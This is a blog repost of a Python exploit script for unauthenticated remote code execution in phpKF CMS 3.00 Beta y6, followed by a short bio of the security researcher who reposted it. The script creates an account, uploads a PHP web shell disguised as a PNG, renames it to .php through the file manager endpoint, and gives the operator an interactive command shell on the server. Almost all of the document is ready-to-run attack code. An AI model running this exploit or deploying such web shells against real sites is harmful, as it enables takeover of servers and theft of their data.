Wednesday, October 16, 2024

phpKF CMS 3.00 Beta y6 – Remote Code Execution (RCE) (Unauthenticated)

# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 18/12/2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.phpkf.com/
# Software Link: https://www.phpkf.com/indirme.php
# Version: 3.00
# Category: Webapps
# Tested on: Linux/Windows

# phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more.
# Contains an endpoint that allows remote access
# Necessary checks are not made in the file upload mechanism, only the file extension is checked
# The file with the extension ".png" can be uploaded and the extension can be changed.


# Example: python3 exploit.py -u http://example.com
#		   python3 exploit.py -u http://example.com -l admin -p Admin123


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import json

def main():
	parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)')
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=False)
	parser.add_argument('-p', '--password', type=str, required=False)
	args = parser.parse_args()
	print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	host(args)


def host(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		sleep(2)
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass
	else:
		print("\n[?] Check Adress...\n")
		sleep(2)
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass


	# Check Host Status
	try:
		response = requests.get(args.host)
		if response.status_code == 200:
			if args.login == None and args.password == None:
				create_user(args)
			else:
				login_user(args)
		else:
			print("[-] Address not reachable!")
			sleep(2)

	except requests.ConnectionError as exception:
		print("[-] Address not reachable!")
		sleep(2)
		exit(1)


def create_user(args):
	print("[*] Create User!\n")
	sleep(2)
	url = args.host + "/phpkf-bilesenler/kayit_yap.php"
	headers = {
			"Origin": args.host,
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Referer": "http://fuzzing.com/uye-kayit.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"kayit_yapildi_mi": "form_dolu",
			"oturum": '', "kullanici_adi": "evil",
			"sifre": "Evil123",
			"sifre2": "Evil123",
			"posta": "evil@localhost.com",
			"kosul": "on"
	}
	response = requests.post(url, headers=headers, data=data, allow_redirects=True)
	args.login = ("evil")
	args.password = ("Evil123")
	print("[+] " + args.login + ":" + args.password + "\n")
	sleep(2)
	login_user(args)



def login_user(args):
	url = args.host + "/uye-giris.php"
	headers = {
			"Origin": args.host,
			"Content-Type": "application/x-www-form-urlencoded",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host + "/uye-giris.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"kayit_yapildi_mi": "form_dolu",
			"git": args.host + "/index.php",
			"kullanici_adi": args.login,
			"sifre": args.password,
			"hatirla": "on"
	}
	response = requests.post(url, headers=headers, data=data, allow_redirects=False)
	token = response.cookies.get("kullanici_kimlik")
	if (token != None):
		print("[!] Login Success!\n")
		sleep(2)
		upload_evil(args, token)
	else:
		if args.login == "evil" and args.password == "Evil123":
			print("[!] Unauthorized user!\n")
			print("[!] manually add a user and try again\n")
			print("[!] Go to link " + args.host + "/uye-kayit.php\n")
			print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'")
			sleep(2)
		else:
			print("[!] Unauthorized user!\n")
			sleep(2)


def upload_evil(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"VERICEK": "",
			"DOSYA-ADI": "evil.png",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=utf-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>"
	response = requests.post(url, headers=headers, cookies=cookies, data=data)

	if (response.text == "yuklendi"):
		print("[!] Upload Success!\n")
		sleep(2)
		change_name(args, token)
	else:
		print("[!] Upload Failed!\n")
		sleep(2)


def change_name(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"yenidenadlandir": "evil.png|evil.php",
			"vericek": "/"
	}
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	if (response.text == "Name successfully changed..."):
		print("[!] Change Name evil.php!\n")
		sleep(2)
		find_dict(args, token)
	else:
		print("[!] Change Failed!\n")
		sleep(2)

def find_dict(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"vericek": "/",
			"dds": "0"
	}
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	if (response.text == "You can not upload files!"):
		print("[!] File not found!\n")
		sleep(2)
	else:
		print("[!] Find Vuln File!\n")
		sleep(2)
		soup = BeautifulSoup(response.text, 'html.parser')
		path = soup.find("div").contents[1].replace(" ", "")
		exploit(args, path)


def exploit(args, path):
	print("[+] Exploit Done!\n")
	sleep(2)

	while True:
		cmd = input("$ ")
		url = args.host + path + "evil.php?cmd=" + cmd
		headers = {
			"Upgrade-Insecure-Requests": "1",
			"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
		}

		response = requests.post(url, headers=headers, timeout=5)

		if response.text == "":
			print(cmd + ": command not found\n")
		else:
			print(response.text)


if __name__ == '__main__':
	main()
            
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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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